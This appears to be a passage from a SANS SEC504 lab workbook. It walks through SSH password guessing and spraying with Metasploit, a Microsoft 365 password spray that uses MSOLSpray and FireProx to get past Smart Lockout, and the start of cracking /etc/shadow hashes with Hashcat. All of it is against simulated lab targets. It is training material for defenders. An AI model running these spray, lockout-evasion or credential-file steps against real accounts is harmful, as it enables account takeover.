In order to work around a bug in Metasploit, we also set the gatherproof parameter to false, as shown here. Finally, start the ssh\_login test with run, as shown here. In this example, ssh\_login was not successful in identifying a valid username and password for the specified SSH server. Repeat this attack, this time changing the USERNAME parameter to *sec504*, then running the exploit again:

Msf6 auxiliary (scanner/ssh/ssh\_login) > set USERNAME sec504

USERNAME => sec504

Msf6 auxiliary (scanner/ssh/ssh\_login) > run

[+] 127.0.0.1: 22 - Success: ‘sec504: sec504’ ‘’

[\*] Command shell session 1 opened (127.0.0.1: 43299 -> 127.0.0.1:22) at 2021-01-31 13:01:53 +0000

[\*] Scanned 1 of 1 hosts (100% complete)

[\*] Auxiliary module execution completed

Here we see the successful output of ssh\_login and a password guessing attack, noting that the login combination sec504/sec504 was successful. In this use case, ssh\_login is not too different than attempting to connect to the server using the standard ssh utility and guessing a password manually. Instead of typing the password without seeing the output with ssh, ssh\_login clearly shows us the successful username and password combination, but it can also accept a password list in the PASS\_FILE parameter as well.

**Password Guessing List with ssh\_login**

To specify a list of passwords for ssh\_login to use in a password guessing attack, remove the PASSWORD parameter using unset. Specify a list of passwords, one per line, using the PASS\_FILE parameter. Run the command shown below, using the password list passwords.txt for the password guessing attack with the username *sec504:*

Msf6 auxiliary(scanner/ssh/ssh\_login) > unset PASSWORD

Msf6 auxiliary (scanner/ssh/ssh\_login) > set PASS\_FILE

/home/sec504/labs/passhydra/passwords.txt

PASS\_FILE => /home/sec504/labs/passhydra/passwords.txt

Msf6 auxiliary (scanner/ssh/ssh\_login) > run

Metasploit will use the list of passwords specified in the filename associated with the PASS\_FILE parameter to perform password guessing against the target system. Here we see the familiar combination sec504:sec504 succeeds in the password guessing attack.

**Password Spray with ssh\_login**

Our examples using ssh\_login so far have been *password guessing* attacks. In many servers, this type of attack will trigger an account lockout after a number of failed guesses, often with no opportunity for the attacker to differentiate a bad password from a correct password against a locked account. Alternatively, we can specify a large number of user accounts,with one or a small number of passwords to use ssh\_login in a *password spray* attack configuration.

Repeat the ssh\_login attack this time specifying a single password *sec504* with a list of 49 usernames using the USER\_FILE parameter and the users.txt file.

Msf6 auxiliary(scanner/ssh/sshd\_login) > unset PASS\_FILE

Msf6 auxiliary (scanner/ssh/ssh\_login) > unset USERNAME

Msf6 auxiliary (scanner/ssh/ssh\_login) > set USER\_FILE /home/sec504/labs/passhydra/users.txt

Msf6 auxiliary (scanner/ssh/ssh\_login) > set PASSWORD sec504

Msf6 auxiliary (scanner/ssh/ssh\_login) > run

*This attack may take 2-3 minutes to complete.*

In this attack, we are able to recover the password for the *sec504* account, while avoiding a potential account lockout, since we’ve only attempted to log in once for each individual username.

**Stop the SSH Service**

To finish this portion of the lab exercise, stop the SSH service using the killall command. You can issue this command from the MSFConsole interface, as shown here.

Msf6 auxiliary(scanner/ssh/ssh\_login) > sudo killall sshd

[\*] exec: sudo killall sshd

Next, we’ll apply these steps in a practical attack environment.

For the next portion of this lab exercise, repeat the ssh\_login password guessing or password spray attacks using the eDirectory target. Open a new terminal by clicking File | Open Tab | 1. Default and start the target service by running the gohydratgt command, as shown here.

**Scan the eDirectory Server**

Next, open a new terminal by clicking File | Open Tab | 1. Default. Identify the IP address of the eDirectory server and enumerate the open TCP ports on the server using Nmap in the range 172.30.0.2-254, as shown here.

sec504@slingshot:~/labs/passhydra$ nmap 172.30.0.2-254

In this output, we see that the server at 172.30.0.25 is running SSH and web server services.

**Recover Two User Accounts**

Return to the terminal tab where you started MSFConsole. Using ssh\_login and the passwords.txt list, recover the passwords for two user accounts on the eDirectory server. For this task, you will need to use your browser to access the website on the target server, build a list of user names, and configure ssh\_login to mount the attack against the server.

If you get stuck, see the answers below.

**Answers**

The first step in any attack is to perform reconaissance analysis. For the eDirectory server, we know that there are two server services: SSH and HTTP. We will use the SSH service for password guessing, but first we need to identify valid user accounts for the target.

Open our browser and navigate to the <http://172.30.0.25> server. You will see the eDirectory search interface, as shown here. Submitting a search term, phrase, or just a few letters will display matching information in the employee directory. For example, searching for the name *Ed* will not reveal any users named Ed, but will show matches where the letters *ed* are in the directory information. Use this insight to get a list of all employees in the eDirectory.

Since all users in the eDirectory have an email address, a search for @ will produce a list of all users, as shown here.

Next, highlight the table information, starting with *Bridget Eva* and ending with the *Alvar Ruben* record. Copy the data into your clipboard. Return to your terminal. Create a new file called searchresult.txt using the cat command, as shown here.

sec504@slingshot:~/labs/passhydra$ cat >searchresult.txt

*Note that the cat command will not exit until you press CTRL + C. Don’t press CTRL +C yet!*

Next, paste the copied webpage contents into the terminal by clicking Edit | Paste. Pasting the clipboard into the terminal will add the information to the searchresult.txt file. After pasting the information into the file, press *Enter* to add a new line at the end of the last record, then press CTRL + C to close the file and stopthe cat tool. When building a list of user names, we can use information such as the beginning of an email address to produce the user list. Thai data may not be conveniently formatted, though (as in our case with the eDirectory search results), requiring some editing of the file. You can edit the searchresult.txt file using any text editor, such as gedit, nano, or vi, but we can also manipulate the file to produce the user list using the awk and sed tools from the command line. First, use the awk tool to extract a list of email addresses from the searchresult.txt file. Since the first column of data is the employee name, followed by the email address, and the name is always in the format first space last, we can use awk to extract just the third column of information using the default delimiter of whitespace characters. Run the awk command to extract the third column of information from searchresult.txt, as shown here.

This is close, but we also need to remove the @target.tgt portion of the email address. Press the up arrow to return to the previous awk command, then add the following sed syntax to substitute (s/), the @ sign, and everything following (@.&ast;) with an empty value (//):

Awk ‘{print $3}’ searchresult.txt | sed ‘s/@,\*//’

When the output looks correct, press the up arrow to rerun the entire command, redirecting the output to a file called eusers.txt, as shown here. You can optionally display the contents of the eusers.txt file using the cat tool, as shown here. With a list of user names in the eusers.txt file, and the supplied password list in the passwords.txt file, you can mount the password spray attack against the SSH service using ssh\_login. Next, configure ssh\_login to conduct a password spray attack, as shown here earlier. Optionally, add the command set VERBOSE true to see each username and password guess:

Msf6 auxiliary (scanner/ssh/ssh\_login) > set VERBOSE true

VERBOSE => true

Next, launch the attack:

{run}

Quickly ssh\_login reveals the password information for the *jorestes* and *pemma* user accounts. *NOTE: Optionally, you may use the recovered credentials to access the SSH server. Search for the file secret.txt for a tip at succeeding at the CTF event.*

Msf6 auxiliary (scanner/ssh/ssh\_login) > run

[-] 172.30.0.25:22 - Failed: ‘beva:!QAZ2wsx’

[-] 172.30.0.25:22 - Failed: ‘beva’: ‘123123’

[-] 172.30.0.25:22 - Failed: ‘beva’: ‘1234’

[-] 172.30.0.25:22 - Failed: ‘beva’: ‘12345’

[-] 172.30.0.25:22 - Failed: ‘beva’: ‘123456’

[-] 172.30.0.25:22 - Failed: ‘beva:1qaz2wsx’

[-] 172.30.0.25:22 - Failed: ‘beva:1qaz@WSX’

[-] 172.30.0.25:22 - Failed: ‘beva:Admin123!@#’

[-] 172.30.0.25:22 - Failed: ‘beva:Admin@123’

[-] 172.30.0.25:22 - Failed: ‘beva:P@$$w0rd’

[-] 172.30.0.25:22 - Failed: ‘beva: P@ssw0rd’

[-] 172.30.0.25:22 - Failed: ‘beva: P@ssw0rd1’

…

[+] 172.30.0.25:22 - Success: ‘jorestes:Admin123!@#’ ‘’

[\*] Command shell 4 opened (172.30.0.1: 38543 -> 172.30.0.25:22) at 2021-01-31 13:16:36 +0000

[-] 172.30.0.25:22 - Failed: ‘rlucian: !QAZ2wsx’

…

…

[\*] Auxiliary module execution completed

Quickly ssh\_login reveals the password information for the *jorestes* and *pemma* user accounts.

*NOTE: Optionally, you may use the recovered credentials to access the SSH server. Search for the file secret.txt for a tip o succeeding at the CTF event.*

**Cleanup**

When you are finished interacting with the eDirectory server, exit Metasploit by running exit -y. Return to the terminal where you ran the gohydratgt command and press CTRL + C to terminate the container instance.

**Bonus (If Time Permits or Homework) -** The eDirectory container instance will log SSH information to the terminal as long as the container is running. Examine this data and look for patterns that an administrator could use to identify password authentication attacks. Also, look for opportunities to identify a failed password guessing attack from a successful attack.

**Lab 3.2: Attacking Microsoft 365 Passwords**

**Brief Intro**

In this Cloud Spotlight lab you will implement a password spray attack against our simulated Microsoft 365 target server, using MSOLSpray and FireProx to evaluate and login credentials against Falsimentis Corporation.

**Requirements for This Lab**

Start the lab exercise by running gomsol. Evaluate the simulated cloud MIcrosoft 365 server at login.microsoft.com (from your Slingshot Linux VM). Use the public website resources at [www.falsimentis.com](http://www.falsimentis.com) to build a user list, and use common password selection techniques to recover user passwords. Use FirePox (/usr/local/bin/fire.py) to create a simulated AWS API Gateway to thwart Smart Lockout policies.

**Walkthrough - Overview**

In this lab you will use your Slingshot Linux VM to attack a simulated cloud enviornment consisting of a M365 login server with the help of the AWS API Gateway. You will also use other public resources to perform reconnaissance and analysis including the Falsimentis DNS server at 172.30.0.254, the Falsimentis website, and a website that reports your Public IP address at myip.sunsetisp.com.

Open a terminal

**Launch the Simulated Cloud Targets**

From the Slingshot terminal, run gomsol to launch the simulated cloud targets we will use for this exercise, as shown here.

sec504@slingshot:~$ gomsol

Starting Docker service...done

7544fe3973ab7732ab5d452bf2fdad9962f3c487db4e57df1f46f…(Snipped)

*Note that the hash values shown in the output of gomsol will be different for your system.*

**Microsoft 365 Reconaissance: DNS Interrogration**

Attackers will perform reconnaissance activities to identify if the target organization uses M365 services for email or other cloud functions. This will likely begin with OSINT techniques to identify domain names associated with the target organziation. For each domain name, attackers will inspect DNS records to identify signs of M365 configuration requirements. We’ll return to using the Falsimentis DNS server at 173.20.0.254 to scan for M365 configuration settings. From your terminal, use the dig utility to interrogate the server for the *mail exchange* (MX) records for falsimentis.com, as shown here.

$ dig +short @172.30.0.254 MX falsimentis.com

10 falsimentis-com.mail.protection.outlook.com.

The Falsimentis DNS server indicates that it has a single mail exchange record. This MX record indicates that inbound mail sent to users of the falsimentis.com should be handled by the M365 server falsimentis-com.mail.protection.outlook.com. Another DNS indicator that an organization uses M365 is the presence of the autodiscover *canonical name* (CNAME) entry for the target domain. Press the up arrow to repeat the previous query, changing the MX record type to CNAME and add autodiscover to the beginning of the hostname, as shown here.

$ dig +short @172.30.0.254 CNAME autodiscover.falsimentis.com

autodiscover.outlook.com

Here we see that the canonical name for autodiscover.falsimentis.com is autodiscover.outlook.com. The autodiscover alias is often used by mail clients (notably Outlook) for discovering their email server as a common M365 configuration setting. At this point we’re reasonably sure the Falsimentis organization is using M365 for email services. Let’s continue to investigate the login.microsoft.com server itself.

**Attempt to Login: login.microsoft.com**

Next, open Firefox and navigate to the <https://login.microsoft.com> server. Attempt to login with any non-valid credentials; notice how authentication fails. This will be our target for the lab exercise using a password spray attack.

From Firefox, navigate to the <https://www.falsimentis.com> website. This is a typical company website with some product and offering details, along with contact information and some company leadership team information. Navigate to the *Team* link from the website menu to see a list of the company leadership. For each person listed you can click on their name to get additional information about the person, as shown here. Click on any name of anyone on the leadership team to get detailed information about the person. Notice that their email information is disclosed in a mailto : link, as shown here.

The CeWL website data collection tool allows us to harvest the email address information posted on a website. We can use this data to build a list of email addresses to use for the password spray attack.

**Harvest Email with CeWL**

From the terminal, run CeWL to collect information from the [www.falsimentis.com](http://www.falsimentis.com) website, as shown here.

sec504@slingshot:~$ /opt/cewl/cewl.rb -d 8 -w words.txt -e –email\_file email.txt <http://www.falsimentis.com/>

Let’s break down thai command piece by piece:

* /opt/cewl/cewl.rb: Run the CeWL utility from the /opt/cewl directory.
* -d 8: Change the default website spider depth from 2 to 8 to collect more information.
* -w words.txt: Save the unique words list to words.txt
* -e: Tell CeWL to collect email addresses as well as words
* –email\_file email.txt: Save the collected email files to email.txt
* <http://www.falsimentis.com/>: Crawl the [www.falsimentis.com](http://www.falsimentis.com) website

When CeWL finishes you will have two new files, words.txt and email.txt. Display the contents of the email.txt file, as shown here.

sec504@slingshot:~$ cat email.txt

[Ciel.Britch@falsimentis.com](mailto:Ciel.Britch@falsimentis.com)

[Donovan.Lea@falsimentis.com](mailto:Donovan.Lea@falsimentis.com)

[Fidelity.Passo@falsimentis.com](mailto:Fidelity.Passo@falsimentis.com)

Hiring@falsimentis.com

[Irvine.Obboard@falsimentis.com](mailto:Irvine.Obboard@falsimentis.com)

[Jeremy.Lengthorn@falsimentis.com](mailto:Jeremy.Lengthorn@falsimentis.com)

Jillana.Wallcot@falsimentis.com

[Kala.Edwinson@falsimentis.com](mailto:Kala.Edwinson@falsimentis.com)

[Lukas.Dolman@falsimentis.com](mailto:Lukas.Dolman@falsimentis.com)

[Pembroke.Trouel@falsimentis.com](mailto:Pembroke.Trouel@falsimentis.com)

[Rollins.Hows@falsimentis.com](mailto:Rollins.Hows@falsimentis.com)

Sales@falsimentis.com

CeWL has collected multiple email addresses from the Falsimentis website that we can use for the M365 password spray attack.

**Start MSOLSpray**

Next we’ll start MSOLSpray. MSOLSpray is a PowerShell script, so we start by running the PowerShell interpreter, pwsh as shown here.

sec504@slingshot:~$ pwsh

PowerShell 7.2.2

<https://aka.ms/powershell>

PS /home/sec504>

*PowerShell uses a color scheme that may be difficult to use in terminals with a white background. Consider switching your terminal to dark mode by clicking Terminal / Change Profile / Dark.*

Next, use the Import-Module command to import the /opt/MSOLSpray/MSOLSpray.ps1 script into the current session, as shown here.

PS /home/sec504> Import-Module /opt/MSOLSpray/MSOLSpray.ps1

Next, run the Invoke-MSOLSpray command, specifying the CeWL email list with the - UserList argument. MSOLSpray accepts a single password to implement the spray attack; specify the password *Lakers2020,* as shown here.

*NOTE: We’ve selected Lakers 2020 as the password since that is a popular sports team in the Los Angeles area where Falsimentis is headquartered. To make the password complex, the year of the most recent Lakers NBA Playoffs win (2020) is added to the end of the team name.*

PS /home/sec504> Invoke-MSOLSpray -UserList ./email.txt -Password Lakers2020

[\*] There are 13 total users to spray.

[\*] Now spraying Microsoft Online.

[\*] Current date and time: 04/12/2022 10:38:28

[\*] WARNING VALID USER BUT INVALID PASSWORD

…

[\*] WARNING VALID USER BUT INVALID PASSWORD

MSSOLSpray completes the password spray attack with detailed information about the user accounts, differentiating an invalid username from a valid user with an invalid password. Notice that the first several responses indicate that we have valid M365 usernames, but invalid passwords. For the email address [hiring@falsimentis.com](mailto:hiring@falsimentis.com) (mailto: [hiring@falsimentis.com](mailto:hiring@falsimentis.com)), the Microsoft 365 server indicates that the user doesn’t exist. This is useful information for the attacker, since they know how to remove that email address from their user list for the password spray. Also notice the error message for [Jilliana.Walcott@falsimentis.com](mailto:Jilliana.Walcott@falsimentis.com) (sic). This appears to be an incorrect email address, collected from the [www.falsimentis.com](http://www.falsimentis.com) (<http://www.falsimentis.com>) website. M365 indicates that this tenant account doesn’t exist, allowing the attacker to differentiate between invalid accounts and invalid tenant domain names. Notice that after ten (10) account logins, we get a different message from MSSOLSpray: *The account … appears to be locked.* Let’s repeat the password spray attack with a new password for another sports team championship in the Los Angeles (L.A.) area, as shown here.

PS /home/sec504> Invoke-MSOLSpray -UserList ./email.txt -Password Dodgers2020

In this second invocation of MSOLSpray, the Microsoft 365 server indicates that all accounts are locked. After 10 successive account locked errors, MSOLSpray asks if you wish to continue the attack, correctly predicting that additional password guesses will likely be unsuccessful due to Smart Lockout. Answer N to stop the spray attack.

In this attack, the attacker is quickly identified as malicious since all requests come from a single-source IP address. You can also see your static IP address by making a request to our in-lab myip.sunsetisp.com server, as shown here.

PS /home/sec504> curl myip.sunsetisp.com

*192.168.200.1*

*TIP: The myip.sunsetisp.com server exists only within our lab environment. Outside of the lab environment you can get similar IP address information by making an HTTP or HTTPS request to the ifconfig.me server.*

The Smart Lockout feature used by Microsoft 365 is valuable for organizations, preventing an attack from completing more than 10 password spray guesses from a single source IP address. However, an attacker can modify the attack to bypass this limitation by using publicly-accessible cloud resources.

**FirePox**

To circumvent the Smart Lockout feature, attackers can use the AWS API Gateway, creating an endpoint to proxy login requests to the login.microsoft.com server. This attack is straightforward to implement with FireProx. To use FireProx, you will need to configure your AWS credentials file with valid AWS credentials that have the necessary permissions to create an AWS API Gateway Endpoint. You have already configured your AWS credentials for this lab exercise. You can optionally display the AWS credentials with Get-Content, as shown here.

PS /home/sec504> Get-Content /home/sec504/.aws/credentials

[default]

Aws\_access\_key\_id = [“YOUR\_ACCESS\_KEY”]

Aws\_secret\_access\_key = [“YOUR\_SECRET\_KEY”]

*NOTE: These credentials are only valid for our simulated cloud exercises.*

Next, we’ll create the AWS API Gateway Endpoint with FireProx. Open a new terminal window, then run fire.py, as shown here.

sec504@slingshot:~$ **sudo** fire.py

For this lab exercises and the simulated cloud environment we will use a modified version of FireProx. Normally FireProx does not require root access, but we need it for this lab exercise. Re-run fire.py with root privileges using sudo, as shown here.

FireProx will use the default AWS credentials unless alternate credentials are specified on the command line. To create an AWS API Gateway endpoint we specify the –command create argument with a destination URL using –url. To demonstrate the behavior of FireProx, let’s create an AWS API Gateway with the URL endpoint <http://myip.sunsetip.com>, as shown here.

sec504@slingshot:~$ sudo fire.py –command create –url <http://myip.sunsetisp.com>.

FireProx - Modified for lab use. Do not use this version outside of a lab. To use FireProx in production in this system run /opt/fireprox/fire.py instead.

Creating => <http://myip.sunsetisp.com>… [2022-04-12 11:24:46-00:00] fireprox\_sunsetisp => <http://32ptk9jqm0.execute-api.us-east-1.amazonaws.com>/ (<http://myip.sunsetisp.com>).

In the output of FirePox we see it has created an API endpoint, but *your URL may slightly vary*. The beginning of the URL (32ptk9jqm0 in this example) is the API ID for this instance of the AWS API Gateway. Next, let’s repeat the cURL command to identify our IP address on the myip.sunsetisp.com server, as shown here.

sec504@slingshot:~$ /home/sec504> curl myip.sunsetisp.com 192.168.200.1

Here we see that our Slingshot Linux IP address (for the simulated cloud environment) has not changed. To use the FirePox-created AWS API Gateway endpoint, the attacker replaces the normal URL with the URL generated by FirePox. Repeat the cURL command, this time requesting the FirePox URL (*NOTE: Replace the URL shown in the example below with the URL displayed in the output of the FireProx command).*

sec504@slingshot:~$ curl <http://32ptk9jqm0.execute-api.us-east-1.amazonaws.com/> 10.200.150.241

*If you get the error Could not resolve host, please check to ensure your URL matches the URL presented in the output of the fire.py command.*

In this configuration, the API Gateway server acts as a sort of HTTP proxy for the attacker. In this example, 10.200.150.241 is the IP address of the AWS API Gateway worker that forwards that request to the myip.sunsetisp.com server. The myip.sunsetisp.com server does not see the IP address of the attacker, only of the AWS API Gateway worker instance. Press the up arrow and repeat this curl command several more times. Notice how each request uses a different IP addresses.

This is a significant benefit for the attacker: each request through the service will use a unique IP address, avoiding services like Smart Lockout that attempt to identify password spray attacks by tracking the number of failed authentication attempts from a single source IP address. Next, delete the AWS API Gateway service using FireProx with the –command delete parameter, specifying the API ID with the –api\_id argument, as shown here (*Note: Replace the API ID in this example with the one created for your AWS API Gateway instance.)*

FireProx - Modified for lab use. Do not use this version outside of a lab. To use FireProx in production on this system, run /opt/fireprox/fire.py instead.

Deleting 32ptk9jqm0 => Success!

**FireProx & MSOLSpray**

Now that we know how to leverage FireProx, let’s apply that tool to MSOLSpray. From your Bash terminal, press the up arrow a few times to return to the FireProxy create command. Change the URL endpoint to <https://login.microsoft.com> server, as shown here.

sec504@slingshot:~$ sudo fire.py –command create –url <https://login.microsoft.com>

In this output we see that FireProx has created a new AWS API Gateway endpoint (note that your endpoint URL will be different than the example shown here). Like we saw earlier with the myip.sunsetisp.com example, each request sent to login.microsoft.com through the AWS API Gateway endpoint will originate from a different source IP address. Copy the AWS API Gateway endpoint URL into your clipboard, then return to the PowerShell terminal where you ran MSOLSpray. Press the up arrow several times to re-run the prior Invoke-MSOLSpray command, this time adding the -URL argument followed by the AWS API GW endpoint. At the end of the command, also add the -OutFile ~/msolspray.txt argument, as shown here.

PS /home/sec504> Invoke-MSOLSpray -UserList ./email.txt -Password Dodgers2020 -URL <http://9jb82e7504.execute-api.us-east-1.amazonaws.com/> -OutFile ~/msolspray.txt

\* Make sure you are using the URL created by FireProx when you ran the fire.py command. *You can sudo fire.py –command list to list the available FireProx URLs.*

Notice in this new invocation of MSOLSpray we no longer see the account lockout messages.

By adding the -OutFile argument, we also capture the results of MSOLSpray to the named file. Display the contents of this file using the Get-Content command, as shown here.

PS /home/sec504> Get-Content ~/msolspray.txt

Valid user, but invalid password: [Ciel.Britch@falsimentis.com](mailto:Ciel.Britch@falsimentis.com)

…

(9 more lines)

…

The advantage of using the -OutFile parameter with MSOLSpray is that it makes it easy to refine the email address list. We don’t need to continue to try to login with [Hiring@falsimentis.com](mailto:Hiring@falsimentis.com), [Jillana.Walcott@falsimentis.com](mailto:Jillana.Walcott@falsimentis.com) (mailto: [Jillana.Walcott@falsimentis.com](mailto:Jillana.Walcott@falsimentis.com)), and other invalid email addresses since those accounts don’t exist. We can use the email address information from this output as a new user list after removing the beginning of each line. From PowerShell, press the up arrow to repeat the previous Get-Content command, adding a ForEach command to the pipeline with the arguments shown here.

PS /home/sec504> Get-Content ~/msolspray | ForEach { ($\_ - split ‘ ‘)[6]}

This ForEach command starts a PowerShell code block (inside {}) and splits each line in the msolspray.txt file by a space, retrieving only the 6th field offset (the email address) of the output. *NOTE: We’re using the PowerShell built-in functionality to extract the necessary information, similar to the UNIX cut command. It’s also OK to use cut from PowerShell on Linux (cut -d “ “ -f7) to achieve similar results.*

We extracted the email address information from msolspray.txtm but we also need to save it to a new file. RE-run the PowerShell command, adding Out-File ~/falsimentis-valid-users.txt to the pipeline, as shown here.

PS /home/sec504> Get-Content ~/msolspray | ForEach { ($\_ - split ‘ ‘)[6]} | Out-File ~/falsimentis-valid-users.txt

PS /home/sec504>

Return to the Invoke-MSOLSpray command by pressing the up arrow several times. Change the -UserList argument to read more from the ~/falsimentis-valid-users.txt file, limiting the spray attack to valid user accounts. You may optionally remove the -OutFile argument if desired. Experiment with several passwords, including the following suggestions for commonly-weak passwords and other keywords collected from the falsimentis.com website:

* Password123
* Lakers2020
* Dodgers2020
* Mittens2022
* Falsimentis123
* Summer2022
* Coffee2022

*Question: What is Rollis How’s password?*

PS /home/sec504> Invoke-MSOLSpray -UserList ~/falsimentis-valid-users.txt -URL <http://9jb82e7504.execute-api.us-east-1.amazonaws.com/> -Password Mittens2022

*Answer: Mittens2022*

*Note that we have the valid username and password combination for Rollins Hows, but the account requires a second authentication factor login. The username and password are still valuable to an attacker, but cannot be used alone to login to the Microsoft 365 service.*

*Question: What is Jillana Walcott’s password?*

PS /home/sec504> Invoke-MSOLSpray -UserList ~/falsimentis-valid-users.txt -URL <http://9jb82e7504.execute-api.us-east-1.amazonaws.com/> -Password Falsimentis123

*Answer: Falsimentis123*

**Cleanup**

When you are finished with the lab steps, use FirePorx to delete the AWS API Gateway URL, as shown here. Replace the API ID value *9jb82e7504* with the API ID generated by FireProx on your system.

sec504@slingshot:~$ *sudo fire.py –command delete –api\_id 9jb82e7504*

Deleting 9jb82e7504 => Success!

Next, run stopmsol, as shown here.

PS /home/sec504> stopmsol

Stopping Docker containers for Microsoft 365 Password attacks lab

Bcecc70885dd

8e6713e269ef

192bcbf5486e

6d9a00607124

7544fe62d397

Done

Next, exit PowerShell to return to the Linux shell.

**Why This Lab is Important**

Attackers will often target cloud SaaS authentication solutions as a mechanism to implement password guessing and password spray attacks. In the case of Microsoft 365, the product uses several features to mitigate these attacks. However, a crafty attacker can leverage cloud resources against a target organization to bypass some of those restrictions and implement a successful attack strategy.

**Bonus (If Time Permits or Homework)**

*When working on the bonus part of this lab exercise, ensure that the target systems are running. Run gomsol to start the target systems, and recareate the AWS API Gateway target for* [*https://login.microsoft.com*](https://login.microsoft.com)*. When you finish the bonus part of the lab, delete the AWS API Gateway target then run stopmsol to stop the target systems.*

In this lab we recovered a small number of passwords using the Microsoft 365 service, but we limited our spray attack to email addresses gathered from the CeWL scan on the [www.falsimentis.com](http://www.falsimentis.com) (<http://www.falsimentis.com>) website. The recovered email addresses are limited to executives listed on the website, but we may able to expand our password recovery attack by spraying additional Falsimentis email addresses. Wherever possible, an attacker will use OSINT techniques to collect email address information since that will be the most likely addresses for valid user accounts. However, using MSOLSpray and FireProx, an attacker can also use common first and last names to try and enumerate additional valid accounts. From your PowerShell session, examine the files firstnames.txt and lastnames.txt in the ~/labs/names directory, as shown here.

PS /home/sec504> Get-Children ~/labs/names

Directory: /home/sec504/labs/names

These two files include common first and last names from the United States Census data, and additional entries added for lab purposes.

*If you apply this technique for username discovery, use first name and last name information from geographic specific data sources for your target organization.*

We can merge each of the names from the first name file with each name from the last name file, forming a Falsimentis email address using PowerShell and two ForEach loops. First, let’s declare two PowerShell array variables consisting of each line in both files, as shown here.

PS /home/sec504> $firstnames = Get-Content /home/sec504/labs/names/firstnames.txt

PS /home/sec504> $lastnames = Get-Content /home/sec504/labs/names/lastnames.txt.

Here we’ve declared two variables, $firstnames and $lastnames, each containing each name from the respective name files. Using the length member we can see that there are 20 first names and 20 last names. WE want to merge each first name with a last name to form an email address. Run the nested ForEach loops to merge the data together as shown here.

Here we’ve declared two variables, $firstnames and $lastnames, each containing each name from the respective name files. Using the length member we can see that there are 20 first names and 20 last names. We want to merge each first name with a last name to form an email address. Run the nested ForEach loops to merge the data together as shown here.

PS /home/sec504> $firstnames.length

PS /home/sec504> $lastnames.length

PS /home/sec504> $(ForEach ($first in $firstname) { ForEach ($last in $lastname) { “$first.$[last@falsimentis.com](mailto:last@falsimentis.com)” } }) | Out-File “falsimentis-email-guesses.tx “

PS /home/sec504> Get-Content -First 5 falsimentis-email-guess.txt

[andrea.allen@falsimentis.com](mailto:andrea.allen@falsimentis.com)

[andrea.brown@falsimentis.com](mailto:andrea.brown@falsimentis.com)

[andrea.davis@falsimentis.com](mailto:andrea.davis@falsimentis.com)

[andrea.garcia@falsimentis.com](mailto:andrea.garcia@falsimentis.com)

[andrea.gray@falsimentis.com](mailto:andrea.gray@falsimentis.com)

Next, run Invoke-MSOLSpray again, this time specifying the new list of email addresses, and specifying an -OutFile of ~/falsimentis-valid-users2.txt. For demonstration purposes, use the password *Summer2022,* as shown here.

PS /home/sec504> Invoke-MSOLSpray -UserList ~/falsimentis-email-guesses.txt -URL <http://c3yr8hn7r.execute-api.us-east-1.amazonaws.com/> -Password Summer2022 -OutFile ~/falsimentis-valid-users.txt

[\*] There are 400 total users to spray.

[\*] Now spraying Microsoft Online.

[\*] Current date and time: 04/12/2022 15:51:57

[\*] WARNING! The user andrea…@falsimentis.com doesn’t exist.

(9 more lines)

…

In this output, we will see a lot of messages indicating the user does not exist, but if we can examine the output file ~/falsimentis-valid-users2.txt to see all other messages as shown here.

PS /home/sec504> Get-Content ~/falsimentis-valid-users2.txt

Valid user, but invalid password:...(6 lines)

In this output we learn about another valid username and password combination for Andrea Harris. We also learn about five other user accounts that we can continue to use with password spray attacks.

**Additional Resources**

* **SANS SEC588: Cloud Penetration Testing**
* **MSOLSpray Website (updated version) (**[**https://githyb.com/joswr1ght/MSOLSpray**](https://githyb.com/joswr1ght/MSOLSpray)**)**

**Lab 3.3: Hashcat**

**Brief Intro**

In this lab exercise, you will conduct an assessment of domain passwords for the Falsimentis wholly-owned subsidiary *Wardrobe99.* You will use Hashcat to recover the password hash data retrieved from the Wardrobe99 domain controller.

**Requirements for This Lab**

In this lab, you will use your Slingshot Linux VM. Make sure the VM is running before continuing with this lab exercise.

**Try it Yourself**

First, experiment with Hashcat options using Slingshot Linux after running the addtmpusers script as root. Next, extract and crack passwords from the NTDS.dit and SYSTEM registry hive located at /home/sec504/labs/Wardrobe99. Use Hashcat to recover plaintext passwords using the wordlist in ~/hashcat/wordlist.txt, various mask attacks, and the wordlist file in /usr/share/wordlists/passwords.txt

**Walkthrough - Linux Password Hashes**

**Open a Terminal**

From the Slingshot Linux VM, open a terminal.

**Copy Slingshot Shadow File**

For the first part of this lab exercise, we’ll add some temporary users with passwords to the Slingshot Linux system. Run the addtmpusers with sudo, as shown here.

sec504@slingshot:~$ sudo addtmpusers

Adding users … done.

Now that we’ve added the temporary users, copy the /etc/shadow file to your home directory to use for password cracking. Since the /etc/shadow file is protected, we’ll need to use sudo to copy the file. After copying the file, use chown to change the ownership of the file, as shown here.

sec504@slingshot:~$ sudo cp /etc/shadow slingshot.hashes

sec504@slingshot:~$ sudo chown sec504:sec504 slingshot.hashes

**Identify Hash Types**

Hashcat supports a feature known as *hash mode auto-detect* where it will attempt to identify the type of the password hashes and the corresponding Hashcat mode that can be used to recover passwords automatically. To see the results of Hashcat hash mode auto-detect without cracking the password hashes, run Hashcat with the hash file and the –identify argument, as shown here.

sec504@slingshot:~$ hashcat slingshot.hashes –identify

The following four hash-modes match the structure of your input hash:

# | Name

Category

=====+=================================================================================+=============================================================

500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) | Operating System

1500 | descrypt, DES (Unix), Traditional DES | Operating System

7400 | sha256crypt $5$, SHA256(Unix) | Operating System

1800 | sha512crypt $6$, SHA512(Unix) | Operating

System

Let’s break down this command line by argument:

* Hashcat: Run the Hashcat command
* slingshot.hashes : Read and parse password hashes from the slingshot.hashes file (our copy of the /etc/shadow file)
* –identify: Identify supported hash modes, then exit

When using the –identify argument, Hashcat parses the specified file and displays a list of the hash modes that it recognizes in the specified slingshot.hashes file. With this information, we can choose a hash mode to attack with -m in subsquent Hashcat attacks.

**Crack DES Crypt Password Hashes**

Next, let’s start using Hashcat to crack some passwords. We’ll attempt to crack passwords for each hash mode in the previous output, starting with the weakest password hash type: DES crypt *(descrypt)* password hashes. DES crypt password hashes are an old type of password hash used on legacy UNIX and Linux systems. Modern systems use MD5 crypt, SHA256 crypt, or SHA512 crypt password hashes, which use better hashing algorithms, and use multiple rounds of hash iterations to make password cracking more computationally expensive for an attacker. Let’s start using Hashcat by cracking the DES crypt password hashes to establish a performance baseline. Run Hashcat, specifying the descrypt hash mode in a straight attack, using the wordlist file /usr/share/wordlists/passwords.txt, as shown here.

sec504@slingshot:~$ hashcat -a 0 -m 1500 slingshot.hashes /usr/share/wordlists/passwords.txt

Let’s break down this command line by argument:

* Hashcat: Run the hashcat command
